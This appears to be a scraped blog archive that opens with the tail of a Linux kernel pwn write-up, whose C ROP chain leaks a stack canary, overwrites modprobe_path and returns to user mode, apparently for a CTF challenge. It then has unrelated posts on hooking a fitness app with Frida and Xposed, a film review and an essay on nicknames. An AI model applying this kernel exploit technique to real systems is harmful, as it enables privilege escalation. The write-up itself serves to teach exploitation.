printf("\033[34m\033[1m[*] offset: 0x%lx\033[0m\n", offset);
printf("\033[33m\033[1m[√] Canary: %lx\033[0m\n", canary);

for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = POP_RBX_RET + offset;
rop[i++] = MODPROBE_PATH + offset;
rop[i++] = POP_RAX_RET + offset;
rop[i++] = *(size_t *) "/tmp/x";
rop[i++] = MOV_PTR_RBX_RAX_POP_RBX_RET + offset;
rop[i++] = *(size_t *) "muElnova";
rop[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + offset;
rop[i++] = *(size_t *) "muElnova";
rop[i++] = *(size_t *) "muElnova";
rop[i++] = (size_t) getFlag;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
core_copy(fd, 0xffffffffffff0000 | (0x100));
}

References

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/

Kernel Pwn ROP bypass KPTI - Wings' Blog (wingszeng.top)

info

This Content is generated by LLM and might be wrong / incomplete, refer to Chinese version if you find something wrong.

「Kernel」Following the Linux Kernel Lab Lightly

· 76 min read
MuelNova
Pwner who wants to write codes.

Before We Begin

In this article, we will follow along with Linux Kernel Teaching, progressing from basic to advanced kernel studies, to prepare for potential future kernel development work.

It's worth noting that this course also has a Chinese version, and you can support their efforts by starring the repository at linux-kernel-labs-zh/docs-linux-kernel-labs-zh-cn.

In subsequent blog posts, I may simply summarize the course content, as copying existing material without adding my own insights would be pointless. Our focus will be on the experimental sections.

MiBand-8-Pro-Data-to-Obsidian

· 9 min read

Recently, I set up a life management system with the help of DIYGOD. With various plugins, I achieved semi-automation. However, manually recording sleep time, steps, and other data like heart rate and blood pressure is not very geeky. After some research, I found out that Zepp (formerly Huami) has a reverse-engineered API interface that stores step count and other information in plaintext. This led me to impulsively purchase the Xiaomi Mi Band 8 Pro Genshin Impact Limited Edition. To my surprise, I discovered that the Xiaomi Mi Band 8 no longer supports Zepp. Although the Xiaomi Mi Band 7 does not officially support Zepp, it can still be used by modifying the QR code and using the Zepp installation package. However, the Xiaomi Mi Band 8 has completely deprecated Zepp.

Initial Exploration — Packet Capture

Firstly, I attempted to capture packets to see if there was any useful information available. I used to use Proxifier for packet capture, but it was not very effective due to some software having SSLPinning. This time, I utilized mitmproxy along with a system-level certificate.

Tools Used

Testing Method

In a nutshell, I installed mitmproxy on my PC, obtained the mitmproxy-ca-cert.cer file in the $HOME/.mitmproxy directory, and installed it on the Android device as per the normal workflow.

I then installed ConscryptTrustUserCerts in Magisk, restarted the device, which mounted the user-level certificate to the system-level certificate directory during boot. This completed the preparation.

After opening mitmweb on the PC, setting the Wi-Fi proxy on the phone to <my-pc-ip>:8080, I successfully captured HTTPS requests.

Conclusion

It was not very useful. All requests were encrypted, and there were signatures, hashes, nonces, etc., to ensure security. I did not want to reverse engineer the apk, so I abandoned this approach.

Glimpse of Hope — BLE Connection

Since packet capturing was not feasible, I decided to create a BLE client to connect to the smart band and retrieve data, which seemed like a very reasonable approach. Moreover, this method did not require any actions on my phone; a script running on Obsidian, with one connection and data retrieval, seemed to be very automated.

Implementation

The code mainly referenced wuhan005/mebeats: 💓 Real-time heart rate data collection for Xiaomi Mi Bands. However, as his tools were for MacOS, I made some modifications with the help of GPT.

// Java code block translated to English
public final void bindDeviceToServer(lg1 lg1Var) {

Logger.i(getTAG(), "bindDeviceToServer start");

HuaMiInternalApiCaller huaMiDevice = HuaMiDeviceTool.Companion.getInstance().getHuaMiDevice(this.mac);

if (huaMiDevice == null) {

String tag = getTAG();

Logger.i(tag + "bindDeviceToServer huaMiDevice == null", new Object[0]);

if (lg1Var != null) {

lg1Var.onConnectFailure(4);

}

} else if (needCheckLockRegion() && isParallel(huaMiDevice)) {

unbindHuaMiDevice(huaMiDevice, lg1Var);

} else {

DeviceInfoExt deviceInfo = huaMiDevice.getDeviceInfo();

if (deviceInfo == null) {

String tag2 = getTAG();

Logger.i(tag2 + "bindDeviceToServer deviceInfo == null", new Object[0]);

return;

}

String sn = deviceInfo.getSn();

setMDid("huami." + sn);

setSn(deviceInfo.getSn());

BindRequestData create = BindRequestData.Companion.create(deviceInfo.getSn(), this.mac, deviceInfo.getDeviceId(), deviceInfo.getDeviceType(), deviceInfo.getDeviceSource(), deviceInfo.getAuthKey(), deviceInfo.getFirmwareVersion(), deviceInfo.getSoftwareVersion(), deviceInfo.getSystemVersion(), deviceInfo.getSystemModel(), deviceInfo.getHardwareVersion());

String tag3 = getTAG();

Logger.d(tag3 + create, new Object[0]);

getMHuaMiRequest().bindDevice(create, new HuaMiDeviceBinder$bindDeviceToServer$1(this, lg1Var), new HuaMiDeviceBinder$bindDeviceToServer$2(lg1Var, this));

}

}

By examining this function, we can see that the data is retrieved from deviceInfo, which is obtained from huaMiDevice. For those interested, the details of how this is derived can be explored in the package com.xiaomi.wearable.wear.connection.

The Ultimate Solution — Frida Hook

At this point, I had already decided on the final approach - reverse engineering. Since the data sent out is encrypted, there must be a process where unencrypted data handling occurs. By reverse engineering it, hooking into it, and writing an Xposed module to monitor it, the task could be accomplished.

Due to time constraints, I will not delve into how to install Frida.

Initially, I used jadx-gui with the feature copy as frida snippets, which saved a lot of effort. However, due to various peculiarities of Kotlin data classes, many times the necessary information cannot be obtained. As I did not document my journey while troubleshooting, here is a brief overview:

  1. Initially, I observed the fitness_summary database in the /data/data/com.mi.health/databases folder, which contains the desired data. Cross-referencing led me to the com.xiaomi.fit.fitness.persist.db.internal class.
  2. Exploring methods such as update and insert, I found com.xiaomi.fit.fitness.persist.db.internal.h.getDailyRecord method which had output every time a refresh occurred, but only contained values such as sid, time, and did not include the value.
  3. Continuing the trail, I used the given code snippet to inspect overloads and parameter types.
var insertMethodOverloads = hClass.updateAll.overloads;

for (var i = 0; i < insertMethodOverloads.length; i++) {
var overload = insertMethodOverloads[i];
console.log(
"Overload #" + i + " has " + overload.argumentTypes.length + " arguments."
);
for (var j = 0; j < overload.argumentTypes.length; j++) {
console.log(
" - Argument " + j + ": " + overload.argumentTypes[j].className
);
}
}
  1. It struck me that exceptions could be utilized to examine the function call stack - a breakthrough moment.
var callerMethodName = Java.use("android.util.Log").getStackTraceString(
Java.use("java.lang.Exception").$new()
);
console.log("getTheOneDailyRecord called by: " + callerMethodName);
  1. Proceeding layer by layer, I discovered the class com.xiaomi.fit.fitness.export.data.aggregation.DailyBasicReport, which perfectly met my needs.
dbutilsClass.getAllDailyRecord.overload(
"com.xiaomi.fit.fitness.export.data.annotation.HomeDataType",
"java.lang.String",
"long",
"long",
"int"
).implementation = function (homeDataType, str, j, j2, i) {
console.log(
"getAllDailyRecord called with args: " +
homeDataType +
", " +
str +
", " +
j +
", " +
j2 +
", " +
i
);
var result = this.getAllDailyRecord(homeDataType, str, j, j2, i);
var entrySet = result.entrySet();
var iterator = entrySet.iterator();
while (iterator.hasNext()) {
var entry = iterator.next();
console.log("entry: " + entry);
}
var callerMethodName = Java.use("android.util.Log").getStackTraceString(
Java.use("java.lang.Exception").$new()
);
console.log("getTheOneDailyRecord called by: " + callerMethodName);
return result;
};

// Output: DailyStepReport(time=1706745600, time = 2024-02-01 08:00:00, tag='days', steps=110, distance=66, calories=3, minStartTime=1706809500, maxEndTime=1706809560, avgStep=110, avgDis=66, active=[], stepRecords=[StepRecord{time = 2024-02-02 01:30:00, steps = 110, distance = 66, calories = 3}])
  1. Faced a challenge as steps is a private attribute, and none of the interfaces like getSteps(), getSourceData() worked, all displaying not a function. Likely a difference in Kotlin and Java handling. Resorted to using reflection for resolution.

The final frida script was formulated to fetch the daily steps data. Altering HomeDataType would yield other data.

var CommonSummaryUpdaterCompanion = Java.use(
"com.xiaomi.fitness.aggregation.health.updater.CommonSummaryUpdater$Companion"
);
var HomeDataType = Java.use(
"com.xiaomi.fit.fitness.export.data.annotation.HomeDataType"
);
var instance = CommonSummaryUpdaterCompanion.$new().getInstance();
console.log("instance: " + instance);

var step = HomeDataType.STEP;
var DailyStepReport = Java.use(
"com.xiaomi.fit.fitness.export.data.aggregation.DailyStepReport"
);

var result = instance.getReportList(step.value, 1706745600, 1706832000);
var report = result.get(0);
console.log("report: " + report + report.getClass());

var stepsField = DailyStepReport.class.getDeclaredField("steps");
stepsField.setAccessible(true);
var steps = stepsField.get(report);
console.log("Steps: " + steps);
// Output: Steps: 110

Final – Xposed Module

The approach now is to listen to a specific address using XPosed, and then to slightly protect against plaintext transmission pigeonholed here. Since the app is always active, I believe this method is feasible. The current challenge is my lack of knowledge in writing Kotlin, let alone Xposed.

Fortunately, the Kotlin compiler's suggestions are powerful enough, and besides configuring Xposed, no additional knowledge is required. Coupled with the powerful GPT, I spent an hour or two figuring out the initial environment setup (hard to assess gradle, it's slow without a proxy, and with a proxy, it becomes unresponsive).```kotlin if (record != null) { SerializableStepRecord( time = XposedHelpers.getLongField(record, "time"), steps = XposedHelpers.getIntField(record, "steps"), distance = XposedHelpers.getIntField(record, "distance"), calories = XposedHelpers.getIntField(record, "calories") ) } else null }

    val activeStageList = activeStageListObject.mapNotNull { activeStageItem ->
if (activeStageItem != null) {
SerializableActiveStageItem(
calories = XposedHelpers.getIntField(activeStageItem, "calories"),
distance = XposedHelpers.getIntField(activeStageItem, "distance"),
endTime = XposedHelpers.getLongField(activeStageItem, "endTime"),
riseHeight = XposedHelpers.getObjectField(activeStageItem, "riseHeight") as? Float,
startTime = XposedHelpers.getLongField(activeStageItem, "startTime"),
steps = XposedHelpers.getObjectField(activeStageItem, "steps") as? Int,
type = XposedHelpers.getIntField(activeStageItem, "type")
)
} else null
}

return SerializableDailyStepReport(
time = XposedHelpers.getLongField(xposedReport, "time"),
tag = XposedHelpers.getObjectField(xposedReport, "tag") as String,
steps = XposedHelpers.getIntField(xposedReport, "steps"),
distance = XposedHelpers.getIntField(xposedReport, "distance"),
calories = XposedHelpers.getIntField(xposedReport, "calories"),
minStartTime = XposedHelpers.getObjectField(xposedReport, "minStartTime") as Long?,
maxEndTime = XposedHelpers.getObjectField(xposedReport, "maxEndTime") as Long?,
avgStep = XposedHelpers.callMethod(xposedReport, "getAvgStepsPerDay") as Int,
avgDis = XposedHelpers.callMethod(xposedReport, "getAvgDistancePerDay") as Int,
stepRecords = stepRecords,
activeStageList = activeStageList
)
}

}


The code above shows a function that processes data retrieved from some records and returns a `SerializableDailyStepReport` object. It extracts and maps various attributes from the records, such as time, steps, distance, and calories, into corresponding fields of the `SerializableStepRecord` and `SerializableActiveStageItem` objects. Finally, it constructs a `SerializableDailyStepReport` object with the processed data.

```kotlin
// build.gradle.kts [Module]
plugins {
...
kotlin("plugin.serialization") version "1.9.21"
}

dependencies {
...
implementation("org.jetbrains.kotlinx:kotlinx-serialization-json:1.6.2")
}

The first code snippet contains the configuration in the build.gradle.kts file for enabling the Kotlin serialization plugin. It also includes the dependency for kotlinx-serialization-json library for JSON serialization.

return Json.encodeToJsonElement(SerializableDailyStepReport.serializer(), convertToSerializableReport(today))

In the above statement, it uses Json.encodeToJsonElement to convert a SerializableDailyStepReport object to a JSON element using its serializer.

Broadcasting

The discussion in this section delves into the challenges faced while considering broadcasting data for an Android application. The initial idea was to use a BroadcastReceiver but was dropped due to complexities related to sending messages between the Android device and a computer.

This led to exploring alternatives like HTTP RESTful APIs, which were implemented using Ktor. However, the fluctuating data retrieval schedule and the need for continuous server upkeep introduced concerns regarding power consumption.

Subsequently, the notion of using sockets was explored to establish communication. A ServerSocket is created to listen for incoming connections, and a ClientHandler is spawned to handle each client's requests. This approach provides a more direct and energy-efficient means of communication compared to HTTP servers.

class MySocketServer(
private val port: Int,
private val lpparam: LoadPackageParam,
private val instance: Any
) {
fun startServerInBackground() {
Thread {
try {
val serverSocket = ServerSocket(port)
Log.d("MiBand", "Server started on port: ${serverSocket.localPort}")
while (!Thread.currentThread().isInterrupted) {
val clientSocket = serverSocket.accept()
val clientHandler = ClientHandler(clientSocket)
Thread(clientHandler).start()
}
} catch (e: Exception) {
Log.e("MiBand", "Server Error: ${e.message}")
}
}.start()
}

Above is a snippet depicting the creation of a socket server that listens on a specified port, handles incoming client connections, and delegates processing to separate threads for improved concurrency.

The subsequent realization of the limitation concerning running external scripts in the Obsidian environment using Templater led to the manual implementation of HTTP protocol communication to cater to data retrieval requirements within that context.

override fun run() {
try {
// Code for handling HTTP requests and responses
} catch (e: IOException) {
e.printStackTrace()
}
}

private fun parseQueryString(query: String?): Map<String, String> {
// Parsing the query string from the HTTP request
}

private fun sendSuccessResponse(outputStream: PrintWriter, result: SerializableResponse) {
// Sending a successful HTTP response with serialized data
}

The code snippet above demonstrates the processing of incoming HTTP requests by parsing the request, handling different paths, and sending appropriate responses back to the clients.

Overall, the combined use of socket communication and manual HTTP handling provides the necessary infrastructure to facilitate data exchange between the Android application and external systems while maintaining a balance between efficiency and functionality.

info

This Content is generated by LLM and might be wrong / incomplete, refer to Chinese version if you find something wrong.

Wayland - Tencent Meeting Screen Sharing Solution

· 6 min read
MuelNova
Pwner who wants to write codes.

During a team meeting, I tried to share my screen but only my mouse pointer was visible. In the end, it turned into using a robust phone camera solution, which was not ideal. After some searching, I found a relatively elegant (albeit twisted) solution, so I decided to document it briefly.

Review of Sparrow's Door Lock (Bell Sprout Journey)

· 11 min read
MuelNova
Pwner who wants to write codes.
Must-Read Before Reading

Before you read this article, there are a few points you need to pay attention to:

  • This article is a personal record. I am just an ordinary movie enthusiast without professional film or anime review experience. The evaluation in this article is highly subjective. If possible, please do not be influenced by my personal opinions and maintain your own views on the movie.
  • Although this article tries to avoid spoilers, it is impossible. Before reading, make sure you have at least watched the trailer for Sparrow's Door Lock (Bell Sprout Journey) or have read the novel/watched the movie.
  • My literary literacy is very low. I have never liked reading Chinese-related stuff since I was young (well, actually, I quite like it, but I just don't read it 0v0). Therefore, this article may not have elaborate language or fancy expressions. Your understanding is appreciated.
  • Due to the above point, expecting to gain insightful content from this article is not very realistic. I welcome all kinds of communication, suggestions, criticisms, and even attacks.

I should have taken many photos like the girl next to me during the movie to keep them as memories and as a basis for analysis. These photos would have added color to the article.

However, for the sake of immersion and identification during the first viewing, perhaps this can be saved for next time.

Viewing Conditions

Chose to watch the first screening of IMAX2D on 23/03/24 at the Golden Harvest Cinema (Grand IMAX Laser Store). The theater features the IMAX Commercial Laser 12.1 system with a 297-square-meter screen, which was quite enjoyable, not to mention the impressive IMAX sound quality. I chose the seat in the 8th row, 15th seat, which was in the middle. Although I felt the 6th row might have been more immersive?

With a regular ticket price of 100 yuan (purchased for 60 yuan through a reseller on idle fish) and the 12:00 screening on Friday, these factors isolated most of the low-quality audience. Therefore, the overall viewing experience was excellent (although there was still some movement, and the couple next to me chatted a bit). There were about 30 people in the theater.

Main View

From my perspective, I would recommend watching this movie at a Dolby Cinema because the Dolby Atmos in Dolby Cinema does enhance the viewing experience of this film. Even though adjustments were made for IMAX2D, the enhancement in viewing experience falls short compared to the increase in ticket price. Of course, this is the ideal choice. You can choose your viewing location based on practical considerations such as distance, ticket price, service, or simply believe that people who commute four hours round trip to watch a movie are crazy.

Most people would think it's not worth spending double the time and money for a marginal improvement in the viewing experience or because they don't have the time or energy to understand it. For movies I like, I prefer my first viewing experience to be close to perfect, even if it requires a lot of time and money. I feel lucky that I don't have too many movies I want to watch xD

Ticket Stub

Film Review

I will comment on the following points one by one, which will also help me organize my thoughts.

Plot

For me, the plot of this work is not outstanding, and the story is very easy to understand. Therefore, let's try to avoid discussing the plot details and focus only on aspects like plot logic, pacing, and emotions.

The plot has some logical flaws— the whole premise is that Suzume falls in love with Souta at first sight. While this can be rationalized through the plot to some extent, there are other logic issues in the story that have an adverse effect on character development.

When I first started watching, I thought Suzume was a country bumpkin, falling head over heels for a handsome Tokyo guy at first sight. - A friend

Why does Suzume encounter so many people willing to help her? Isn't she afraid of being lured to Myanmar? - Friends, me

Well, this is just my bias. Suzume is very likable, so it's natural for her to receive help. I may have a narrow view of others based on myself.

Why did she suddenly forgive the cat? Can't she continue walking just because she sees a cute cat? - Friend

(That's true) xN

Of course, considering the limitations of the movie's length, such compromises can be deemed acceptable. However, this does not negate their impact on the viewing experience.

Apart from the logical flaws (which are important), the pace of the film is very comfortable. My emotions followed the movie throughout the viewing, and I often had moments of contemplation. While telling a somewhat sad overall story, it also included some light-hearted moments to prevent the atmosphere from becoming too heavy (comparable to the chest-tightening scenes in Your Name). In the process of advancing the main storyline, it also included elements of friendship, family affection, enriching the content while laying the groundwork for the budding romance between the main characters.

When I saw them (forgot their names) giving Suzume clothes and a hat, I initially thought it would lead to a plot where they gain many things during the journey and use those to achieve a specific goal or accomplish something. But it didn't happen (which would have been somewhat cliché)— these two characters had no role in the subsequent plot. I think the second subplot was unnecessary. It neither propelled the plot nor had a significant impact on character development; it felt repetitive and dragged on. In my opinion, using this part of the content to outline some background or provide more emotional depth would have been a better choice.

Let's discuss what the plot intends to convey. I am not a survivor of the 2008 Wenchuan earthquake or the 2011 Japan earthquake, and while my hometown is prone to geological disasters, I have not experienced any severe calamities firsthand. Earthquakes have been part of casual conversations and occasional memories for me.

As part of a disaster trilogy, the portrayal of disasters in this movie is commendable, but Makoto Shinkai does not want it to stop there. The juxtaposition of the "ruins" imagery against the imagined or transmitted words and laughter of the people who once lived there is intricate. The reasons for a place becoming ruins are varied— severely affected villages due to earthquakes, abandoned amusement parks due to financial struggles... Whatever the reason, ruins no longer hold new memories for people, but the imprints of the people who once lived there remain in the ruins. They do not dissipate with people's changes or the passing of life. When the changing people revisit, when the descendants of the survivors return, facing the ruins, what would they see and think?

As for the ending plot, I won't reveal spoilers, but I must say it was unexpected yet reasonable, giving a sense of realization and serving as a fitting conclusion.

Well, after giving it some thought, I have to say it, or else it won't be complete.

Spoiler Alert, Including the Main Theme of the Entire Movie

The "mother" at the beginning of the movie turns out to be the future self of Suzume, who gives her hope and helps her realize that the most cherished things—hope and care—have always been around her. When Suzume, who lost her mother, is in despair, there are countless people—Aunt Rin and the kind people she encounters on her life's journey—who are willing to extend a helping hand and offer her care and hope.

So, in essence, the translation of *Bell Sprout Journey* is quite fitting; the entire story is the journey of reconciliation that Suzume embarks upon with herself. As for the original title, *House Lock*, the closing words of Suzume saying "I'll go" after closing the door are proof that she has closed the door to her trauma and is stepping towards a new life.

Additionally, this is a kind of solace for people who have experienced disasters. Like the young Suzume, survivors may have experienced the pain of losing family and may fall into despair. But no matter what, there is always hope and love from others in life ahead. Just as Suzume shows her childhood self: "I am Suzume's tomorrow!"

The concepts of "Tokiko," "Sadaijin," "Choking Stone," "Otafuku," and others, due to my lack of knowledge about Japanese mythology, I am not in a position to comment, so please forgive me.

Did You Know

The reason why the stool has three legs was deliberately left ambiguous in the movie. However, based on the reviews from global internet users that I've seen, a widely accepted view is that a three-legged stool symbolizes something permanently lost in the hearts of those affected by disaster, which time can never heal.

Personal Rating: 8/10

Artwork

There is no need to say much about Makoto Shinkai's art style. Before the premiere (because of the promotion), I had already seen many comments comparing it to the Deep Sea art style. Coincidentally, I also watched Deep Sea, and its ink-and-wash art style is truly stunning. In one sentence, I can only say: it may not surpass Deep Sea, but it's something I love.

Makoto Shinkai's landscape paintings have always been praised, and this work maintained and even enhanced that quality. The scenes of the earthquake disaster and Takashi in particular were truly breathtaking for me (especially on the big screen...).

At this moment, I really regret not taking more pictures, even if my phone's camera quality is not even up to a thesis defense standard.

Here are some screenshots I took during the viewing that left a lasting impression on me

screenshot

Screenshot

screenshot

Ending

Furthermore, the artwork of those scenes was meticulous, each related to several major earthquakes in Japan's history and many symbols with special meanings (like that boat). For further details, please refer to other articles.

However, Suzume's tiny eyes in the distance were genuinely hilarious on the big screen (

Personal Rating: 9/10

Music

Phenomenal. The music undoubtedly elevated the viewing experience of this film. While I find it challenging to describe it with more professional language, I'll just go ahead and start raving about it.

Although I listened to the entire OST as soon as it was released and fell in love with several tracks that are still on repeat, I must say, the songs' alignment with the visuals in the movie was just too cool.

When the BGM Tokyo Skies accompanied the scene of the expanding earthquake disaster, I was in a state of SHOCK. My mind went blank, maybe I was already in a "WOC" state where I had no memory, that scene is likely to linger in my mind for a while.

Truth be told, many of Makoto Shinkai's shots in this movie were not outstanding, but combined with the music, they blended perfectly. Is there not some truth to the statement that it's truly a Shinkai x RADWIMPS collaboration? This duo's performances in Your Name and Weathering with You were already breathtaking, but this time, working with Jinnai Kazuma (sorry for my limited exposure) truly delivered a knockout punch. Others like Night Ferry also struck a chord; emotions surged as soon as the familiar BGM played in the movie.

Lastly, the theme song. Suzume feat. Tomoaki is divine. Where did RADWIMPS find this singer? The melody they incorporate, present in tracks like Determination-Departure, is present in various OSTs; every time it played in the movie, my heart skipped a beat, and it seems it will resonate for a while.

The main theme by Yojiro Noda, Kanata Haruka, at the end was indeed powerful. The sister sitting next to me had her emotions on high alert; as soon as the song played, she broke down in tears, making me feel like shedding manly tears too.

playlist

I have been listening to Sparkles from Your Name for 7 years, I wonder how long I can listen to this OST?

Personal Rating: 10/10

Ramblings

Indeed, a good film should be watched alone.

However, if anyone is willing to accompany me for a second viewing, I'd be more than happy to join.

References

https://eiga.com/movie/96308/review

https://zhihu.com

info

This Content is generated by LLM and might be wrong / incomplete, refer to Chinese version if you find something wrong.

On Nicknames

· 6 min read
MuelNova
Pwner who wants to write codes.

As you can see, my nickname is Nova Noir (or Nova No1R, Nova No1r, and various other variations), but what's the story behind this nickname? What will be the past, present, and future of my online alias?

This article originated from thinking about the online nickname "Lantern" while taking a bath, along with thoughts about his real name, and extrapolating from there (although I have never met "Lantern" in person, but coincidentally heard him giving a reverse fundamentals course to my roommate, and then went to observe and learn from it).

The Beginning

My first contact with the internet began with the QQ number registered by my family. I vividly remember my first nickname, which was carefully decided after discussions with my mother, called "爱吃屎的懒羊羊" ("Lazy Lamb Who Loves Eating Poop"). I admit that this name, even by today's standards, is quite abstract, but for an 8-year-old, it seemed reasonable. CF was the first online game I played, and around third grade, I chose my first nickname, which I still remember as "丗堺" because I also used this name on MCBBS, and it is torture every time I have to enter this name, probably around 2012, a time when my mind was filled with alien symbols.

Anecdote

One memorable signature was: 图坦卡蒙的忧伤,暑假,已逝幻想 ("The Sorrow of King Tutankhamun, Summer Vacation, Vanished Fantasy"), which became a fun activity for me after retrieving my old QQ account a few years later.

However, during this period, nicknames were frequently changed, and I only remember "丗堺" distinctly. Can these nicknames from that period really be considered nicknames?

Tieba Era

While still in elementary school, I discovered Baidu Tieba for browsing things like comic books. Posting was easy back then, as you could directly post content without using Baidu Cloud (although I did save some on Baidu Cloud). During this time, I chose my first non-alien nickname: Haunt, also known as HauntChoc.

I can't recall the origin of this name. I guess I saw the word "hunt" somewhere but didn't want to use it directly, then found the rare word "haunt" on Baidu. As I got into Minecraft, I started using this name, gaining some popularity on the MinecraftPE forum (with 20,000 followers). I wrote many trashy ModPEs and a funny JavaScript (ModPE) tutorial.

Teaching JavaScript + Android to a primary school student who had no technical knowledge actually had a good effect. Since he didn't understand anything technical, he used simple language (based on his own understanding), which surprisingly worked well.

This period lasted until around 2016, as I remember getting into CSGO in 2016 and rarely used it as my Steam name after that.

Anecdote

Can you guess the meaning of "Choc" in "HauntChoc"? It actually refers to a character named "巧克力" (Chocola) from NekoPara. Surprising, right? Some people were deeply into visual novels around 2015 and had a great time with them (laughs).

Golden Age

As for the origin of the nickname "Nova," and when I started using it, and why I abandoned the nickname "Haunt," I cannot recall clearly. Its appearance was sudden, much like the word "Nova" itself, denoting the sudden appearance of a bright, apparently 'new' star.

Initially, this name was used in my CSGO games for a period (although I mostly used names of anime characters, "Nova" wasn't any character I had seen before). At this time, I was active on Max+, and I made some good friends there (although we rarely play games together now, we still chat daily and share pictures). They needed a nickname to call me, and for some reason, they chose "Nova" from my Steam nickname.

Gradually, I started using Nova regularly, but faced issues with duplicate names. Also, I felt that having such a long nickname like "Nova" with no additional identifiers was inefficient and lacked uniqueness. In March 2017, after the release of the Spectrum Case, I chose "neo-noir" as a suffix, which resonated with my skin. This has been consistent till now. Interestingly, neither "Nova" nor "noir" was chosen based on their meanings; I simply thought they sounded cool.

Around 2022, after entering university, I realized the importance of Chinese identifiers. Having a Chinese nickname can leave a lasting impression among Chinese-speaking communities, especially on platforms like GitHub, which are primarily in English. Besides, I felt that a nickname without Chinese characters looked empty on common social apps. Adding Japanese characters could work, but it wouldn't have the same impact.

Hence, I started thinking about translating "NovaNoir." Obviously, "Nova" and "Noir" are two completely contrasting concepts; while their English combination may have a unique aesthetic, in a Chinese context, it could evoke a "cringey" feeling—something like "魅影新星" or "暗夜新星," but the pun on "新星" didn't sound elegant. After much thought, I settled on 黯星座 ("Dark Star Sign"), a name that felt less edgy and somewhat satisfying.

To The Future

This should have been the end of the story. "NovaNoir" has become an irreplaceable identifier for me. Friends call me "nova" in games, classmates use "nova" in everyday life, and I use "novanoir" for gaming and competition names. I even own two domains, novanoir.dev and n.ova.moe. This coincidental yet long-standing nickname remains dear to me, and I may continue using it indefinitely.

This brings me back to why I wrote this article. When you see "nova," and then my name, what comes to mind?

As I grow older, I find myself liking my Chinese name more. My parents did a great job naming me with an elegant, high-quality, and pleasant single character. So, even though nicknames don't necessarily have to be related to real names, or only a few can be related, I suddenly wish my nickname could be one that others immediately understand the origin of.

After all, who wouldn't love a cat named Miu/Miyu that meows?

caution

Of course, this doesn't mean I'll give up "novanoir." I really like this nickname, and the sunk cost of so many years doesn't support such a change. I believe these names will all clash fiercely (

I might use "novanoir" as my username/identity and use "Miu" or similar homophones as my display name/character. For example, registering an email account like [email protected]—maybe then becoming a VTuber—or creating a Twitter account named "Neko Miu"—perhaps becoming a "furologist"—or using a cat avatar as "Nova Miu" for competitions? So, watch out next time you encounter a nickname with similar pronunciations in the anime world... <3

info

This Content is generated by LLM and might be wrong / incomplete, refer to Chinese version if you find something wrong.